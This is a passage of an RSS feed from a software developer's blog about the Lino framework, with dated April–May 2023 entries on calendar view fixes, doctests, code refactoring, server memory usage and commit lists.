</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0503.html</guid><pubDate>Wed, 03 May 2023 00:00:00 +0000</pubDate></item><item><title>Some optimizations in calview</title><link>https://luc.lino-framework.org/blog/2023/0502.html</link><description>&lt;section id="some-optimizations-in-calview"&gt;
&lt;h1&gt;Some optimizations in calview&lt;a class="headerlink" href="#some-optimizations-in-calview" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tuesday, May 2, 2023&lt;/p&gt;
&lt;p&gt;I pushed a few days of work for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4960"&gt;#4960&lt;/a&gt;. The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;book&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;welfare&lt;/span&gt;&lt;/code&gt;
test suites passed, one failure in &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;presto&lt;/span&gt;&lt;/code&gt; intentionally left open because it
has to do with &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.get_title()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Fixed bugs: In weekly view, the day numbers in the column headers are now
clickable and switch to daily view. In monthly view, the week numbers are now
clickable and switch to weekly view. The title of the slave table in the details
of the three calendar views is now empty (instead of repeating the title of the
detail window). In Presto where we have more than one planner, the daily/weekly
buttons went to the default Calendar planner instead of staying in the Workers
planner.&lt;/p&gt;
&lt;p&gt;I reported a bug and a feature request in the React front end: &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4958"&gt;#4958&lt;/a&gt;
and &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4959"&gt;#4959&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Filtering doesn’t seem to work in the calendar views.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Document difference between &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;title&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;label&lt;/span&gt;&lt;/code&gt; of an actor&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Should &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.get_title()&lt;/span&gt;&lt;/code&gt; return None when both  &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;title&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;label&lt;/span&gt;&lt;/code&gt; are None?&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0502.html</guid><pubDate>Tue, 02 May 2023 00:00:00 +0000</pubDate></item><item><title>Sunday, April 30, 2023</title><link>https://luc.lino-framework.org/blog/2023/0430.html</link><description>&lt;section id="sunday-april-30-2023"&gt;
&lt;h1&gt;Sunday, April 30, 2023&lt;a class="headerlink" href="#sunday-april-30-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am trying to understand why the Monthly and Daily views say “None in February
2017” and “None on Wed 15/02/2017” while the weekly view says correctly “Planner
in Week 7 / 2017 (13 February)”.&lt;/p&gt;
&lt;p&gt;Theoretically it should work by specifying the right
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/format.html#lino.core.actors.Actor.details_of_master_template" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;details_of_master_template&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
and &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor.title" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;title&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; attributes.&lt;/p&gt;
&lt;p&gt;I can currently imagine two possible causes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;some side effect caused by the complex class hierarchy,&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;react does not call &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor.get_title" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_title&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="graphviz"&gt;&lt;img src="../../_images/inheritance-ac6cb727b12ea3184a16517cbe29aa2002b98415.png" alt="Inheritance diagram of lino_xl.lib.calview.ui.DailyView, lino_xl.lib.calview.ui.WeeklyView, lino_xl.lib.calview.ui.MonthlyView" usemap="#inheritance6314a17892" class="inheritance graphviz" /&gt;&lt;/div&gt;
&lt;map id="inheritance6314a17892" name="inheritance6314a17892"&gt;
&lt;area shape="rect" id="node8" href="https://dev.lino-framework.org/api/lino.core.tables.html#lino.core.tables.VirtualTable" target="_top" title="An :class:`AbstractTable` that works on an volatile (non" alt="" coords="53,157,152,184"/&gt;
&lt;area shape="rect" id="node2" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor" target="_top" title="Actor" alt="" coords="118,5,190,33"/&gt;
&lt;/map&gt;&lt;div class="graphviz"&gt;&lt;img src="../../_images/inheritance-b9022fe8817bad7d875ae1fab4b69219a8aa474b.png" alt="Inheritance diagram of lino_xl.lib.calview.ui.DailySlave, lino_xl.lib.calview.ui.WeeklySlave, lino_xl.lib.calview.ui.MonthlySlave" usemap="#inheritance9ec13c7985" class="inheritance graphviz" /&gt;&lt;/div&gt;
&lt;map id="inheritance9ec13c7985" name="inheritance9ec13c7985"&gt;
&lt;area shape="rect" id="node7" href="https://dev.lino-framework.org/api/lino.core.dbtables.html#lino.core.dbtables.Table" target="_top" title="An :class:`AbstractTable &amp;lt;lino.core.tables.AbstractTable&amp;gt;` that works" alt="" coords="522,157,594,184"/&gt;
&lt;area shape="rect" id="node12" href="https://dev.lino-framework.org/api/lino.core.tables.html#lino.core.tables.VirtualTable" target="_top" title="An :class:`AbstractTable` that works on an volatile (non" alt="" coords="309,157,408,184"/&gt;
&lt;area shape="rect" id="node2" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor" target="_top" title="Actor" alt="" coords="268,5,340,33"/&gt;
&lt;area shape="rect" id="node10" href="https://dev.lino-framework.org/api/lino.core.tables.html#lino.core.tables.VentilatedColumns" target="_top" title="A mixin for tables that have a series of automatically generated" alt="" coords="286,232,431,260"/&gt;
&lt;/map&gt;&lt;p&gt;Presto contacts :&lt;/p&gt;
&lt;div class="graphviz"&gt;&lt;img src="../../_images/inheritance-47531a872efb6b29840a97457d07b09e49ba23bb.png" alt="Inheritance diagram of lino_presto.lib.contacts.models.DailyView, lino_presto.lib.contacts.models.WeeklyView" usemap="#inheritance755f615acb" class="inheritance graphviz" /&gt;&lt;/div&gt;
&lt;map id="inheritance755f615acb" name="inheritance755f615acb"&gt;
&lt;area shape="rect" id="node8" href="https://dev.lino-framework.org/api/lino.core.tables.html#lino.core.tables.VirtualTable" target="_top" title="An :class:`AbstractTable` that works on an volatile (non" alt="" coords="14,157,113,184"/&gt;
&lt;area shape="rect" id="node2" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor" target="_top" title="Actor" alt="" coords="104,5,176,33"/&gt;
&lt;/map&gt;&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_presto.projects.presto1.settings&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;calview&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DailyView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;None&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;calview&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DailyView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;Daily view&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;robin&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;calview&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DailyView&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;master_instance&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_title&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="go"&gt;Daily view&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;calview&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Planners&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;========= ========= ========== ===================== ==================== ===================&lt;/span&gt;
&lt;span class="go"&gt; value     name      text       Monthly view          Weekly view          Daily view&lt;/span&gt;
&lt;span class="go"&gt;--------- --------- ---------- --------------------- -------------------- -------------------&lt;/span&gt;
&lt;span class="go"&gt; default   default   Calendar   calview.MonthlyView   calview.WeeklyView   calview.DailyView&lt;/span&gt;
&lt;span class="go"&gt;========= ========= ========== ===================== ==================== ===================&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0430.html</guid><pubDate>Sun, 30 Apr 2023 00:00:00 +0000</pubDate></item><item><title>Friday, April 28, 2023</title><link>https://luc.lino-framework.org/blog/2023/0428.html</link><description>&lt;section id="friday-april-28-2023"&gt;
&lt;h1&gt;Friday, April 28, 2023&lt;a class="headerlink" href="#friday-april-28-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The action request on a slave table didn’t always report correctly about invalid
master type. I added more examples in &lt;a class="reference external" href="https://dev.lino-framework.org/dev/chooser2.html#book-dev-chooser2" title="(in Lino Developer Guide)"&gt;&lt;span&gt;More chooser examples&lt;/span&gt;&lt;/a&gt;. Fixing this
caused internal optimizations in &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#module-lino.core.requests" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.tablerequest&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I generalized the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.html#lino.utils.MissingRow" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.MissingRow&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; idea. Until now it was used
only by &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.choicelists.html#lino.core.choicelists.PointingChoice" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.choicelists.PointingChoice&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, now it is also used when
the master instance could not be found.&lt;/p&gt;
&lt;p&gt;I restored the translatable texts for &lt;a class="reference external" href="https://dev.lino-framework.org/specs/system.html#lino.modlib.system.DurationUnits" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DurationUnits&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/system.html#lino.modlib.system.Recurrences" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Recurrences&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which had been lost when we recently moved these classes
from &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cal.html#module-lino_xl.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.system.html#module-lino.modlib.system" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.system&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.linod.BackgroundTask&lt;/span&gt;&lt;/code&gt; now logs using DEBUG instead of INFO.
Because it causes 3 messages every 10 seconds.&lt;/p&gt;
&lt;p&gt;I moved the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture for noi1e and noi1r demo projects from
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.noi1e&lt;/span&gt;&lt;/code&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_noi.lib.noi.html#module-lino_noi.lib.noi" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.noi&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. Because we want it
also on a demo server.&lt;/p&gt;
&lt;p&gt;While working on this, I also happened to optimize content in the Developer
Guide.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0428.html</guid><pubDate>Fri, 28 Apr 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, April 26, 2023</title><link>https://luc.lino-framework.org/blog/2023/0426.html</link><description>&lt;section id="wednesday-april-26-2023"&gt;
&lt;h1&gt;Wednesday, April 26, 2023&lt;a class="headerlink" href="#wednesday-april-26-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Jane memory usage after 115 days uptime.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ uptime
11:26:58 up 115 days, 20:14,  1 user,  load average: 0,21, 0,85, 0,75

$ ps aux --sort &amp;#39;%mem&amp;#39;
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
root     2719655  3.5  6.8 330456 136116 ?       Sl   11:22   0:05 python manage.py runworker linod_jane
root     2719649  5.4  7.5 199064 150212 ?       S    11:22   0:07 /usr/local/lino/lino_local/jane/env/bin/python
root     2719648  5.5  7.8 499776 154892 ?       Sl   11:22   0:08 /usr/local/lino/lino_local/jane/env/bin/python
root     2719661  5.2  7.8 351156 156072 ?       Sl   11:22   0:07 python manage.py runworker linod_welcht1
root     2719662  5.1  7.9 352700 158088 ?       Sl   11:22   0:07 python manage.py runworker linod_weleup1
root     2719652  8.7  8.5 219104 169104 ?       S    11:22   0:12 /usr/local/lino/lino_local/welcht1/env/bin/pyth
root     2719653  9.0  8.8 447240 175752 ?       Sl   11:22   0:12 /usr/local/lino/lino_local/welcht1/env/bin/pyth
root     2719654  9.0  8.9 298716 178220 ?       S    11:22   0:13 /usr/local/lino/lino_local/welcht1/env/bin/pyth
root     2719650  9.0  9.1 449840 180396 ?       Sl   11:22   0:13 /usr/local/lino/lino_local/welcht1/env/bin/pyth

$ sudo reboot now

$ ps aux --sort &amp;#39;%mem&amp;#39;
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
root         947  7.6  7.0 330580 138912 ?       Sl   11:28   0:04 python manage.py runworker linod_jane
root         940 12.6  8.0 351708 158636 ?       Sl   11:28   0:06 /usr/local/lino/lino_local/jane/env/bin/python
root         939 12.5  8.0 499500 159100 ?       Sl   11:28   0:06 /usr/local/lino/lino_local/jane/env/bin/python
root         948 11.5  8.0 351156 160008 ?       Sl   11:28   0:06 python manage.py runworker linod_welcht1
root         949 11.5  8.1 352692 162228 ?       Sl   11:28   0:06 python manage.py runworker linod_weleup1
root         942 20.1  8.6 219112 171032 ?       S    11:28   0:10 /usr/local/lino/lino_local/welcht1/env/bin/pyth
root         941 20.2  8.6 219112 171072 ?       S    11:28   0:10 /usr/local/lino/lino_local/welcht1/env/bin/pyth
root         943 20.5  8.7 220376 172740 ?       S    11:28   0:11 /usr/local/lino/lino_local/welcht1/env/bin/pyth
root         946 20.5  8.7 220640 173180 ?       S    11:28   0:11 /usr/local/lino/lino_local/welcht1/env/bin/pyth
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0426.html</guid><pubDate>Wed, 26 Apr 2023 00:00:00 +0000</pubDate></item><item><title>Tuesday, April 25, 2023</title><link>https://luc.lino-framework.org/blog/2023/0425.html</link><description>&lt;section id="tuesday-april-25-2023"&gt;
&lt;h1&gt;Tuesday, April 25, 2023&lt;a class="headerlink" href="#tuesday-april-25-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I published my changes for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4940"&gt;#4940&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Lino CMS (the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;cms1&lt;/span&gt;&lt;/code&gt; demo) no longer has the calendar
plugin. Websites with a public calendar do not require CMS functionality, but
they do require the courses plugin. Lino Voga now demonstrates this use case.
The &lt;a class="reference external" href="https://dev.lino-framework.org/projects/voga2.html#book-projects-voga2" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-ref"&gt;roger&lt;/span&gt;&lt;/a&gt; demo is not yet convincing but we are
advancing towards this goal.&lt;/p&gt;
&lt;p&gt;Side effects in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cal.html#module-lino_xl.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:  &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Event" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Event&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; had a method
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_default_table()&lt;/span&gt;&lt;/code&gt;, which unconditionally returned &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.OneEvent" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;OneEvent&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
This was in contradiction with the fact that &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.OneEvent" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;OneEvent&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; had
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_as_default_table&lt;/span&gt;&lt;/code&gt; set to &lt;cite&gt;False&lt;/cite&gt;. I removed the method.&lt;/p&gt;
&lt;p&gt;These changes had extensive side effects in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/publisher.html#module-lino.modlib.publisher" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.publisher&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. For
example, the Publishable mixin has a new method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;is_public()&lt;/span&gt;&lt;/code&gt;, which returns
&lt;cite&gt;False&lt;/cite&gt; by default. For a blog entry it would return True or False depending on
the state. Most fundamental change in publisher is the renderer, which now
forwards things to the site’s &lt;cite&gt;editing_frontend&lt;/cite&gt;… For more details you must
consult the source code :-/&lt;/p&gt;
&lt;p&gt;List of commits:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:47 in &lt;em&gt;lino&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/lino.git"&gt;a80f1c3&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:48 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/xl.git"&gt;24672fe&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:48 in &lt;em&gt;noi&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/noi.git"&gt;778f334&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:49 in &lt;em&gt;voga&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/voga.git"&gt;804b803&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:49 in &lt;em&gt;care&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/care.git"&gt;1fe6368&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:49 in &lt;em&gt;avanti&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/avanti.git"&gt;6955bc3&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:49 in &lt;em&gt;tera&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/tera.git"&gt;a332666&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:49 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/book.git"&gt;dca42df&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:49 in &lt;em&gt;welfare&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/welfare.git"&gt;ddfd8e4&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:49 in &lt;em&gt;presto&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/presto.git"&gt;2b85ff3&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:49 in &lt;em&gt;mentori&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/mentori.git"&gt;8697685&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:49 in &lt;em&gt;shop&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/shop.git"&gt;112532e&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:50 in &lt;em&gt;react&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/react.git"&gt;2becc37&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:50 in &lt;em&gt;amici&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/amici.git"&gt;e42562d&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:50 in &lt;em&gt;algus&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/algus.git"&gt;f038cbf&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:50 in &lt;em&gt;cms&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/cms.git"&gt;f849afa&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-25 21:50 in &lt;em&gt;medico&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/medico.git"&gt;f870664&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0425.html</guid><pubDate>Tue, 25 Apr 2023 00:00:00 +0000</pubDate></item><item><title>Watching out for a third developer</title><link>https://luc.lino-framework.org/blog/2023/0423.html</link><description>&lt;section id="watching-out-for-a-third-developer"&gt;
&lt;h1&gt;Watching out for a third developer&lt;a class="headerlink" href="#watching-out-for-a-third-developer" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sunday, April 23, 2023&lt;/p&gt;
&lt;p&gt;It seems that I am realizing something important: Lino doesn’t currently need a
